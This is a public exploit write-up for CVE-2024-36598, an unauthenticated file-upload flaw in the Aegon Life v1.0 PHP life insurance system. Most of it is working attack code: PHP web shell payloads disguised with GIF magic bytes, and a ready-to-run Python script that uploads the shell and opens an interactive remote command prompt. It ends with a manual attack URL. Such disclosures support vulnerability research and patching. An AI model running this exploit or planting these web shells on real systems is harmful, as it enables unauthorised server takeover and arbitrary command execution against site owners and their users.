# Exploit Title:  Life Insurance Management System- Unauthenticated Remote Code Execution (RCE)
# Exploit Author: Aslam Anwar Mahimkar
# Date: 18-05-2024
# Category: Web application
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/
# Version: AEGON LIFE v1.0
# Tested on: Linux
# CVE: CVE-2024-36598

# Description:
----------------

-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload.

-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.


# Payload:
------------------

payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"


# RCE via executing exploit:
---------------------------------------

    # Step : run the exploit in python with this command: python3 shell.py  http://localhost/lims/
    # will lead to RCE shell.

POC
-------------------

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"

file = {'fileToUpload': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/insertClient.php', files=file, data={'agent_id':''}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php')
    print('> Example command usage: ' + url + '/uploads/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')

### Can also performed manually.


Payload:
--------------

GIF89a;
<?php
echo"<pre>";
passthru($_GET['cmd']);
echo"<pre>";
?>

# Attack Vectors:
-------------------------

After uploading malicious image can access it to get the shell

http://localhost/lims/uploads/shell2.gif.php?cmd=id
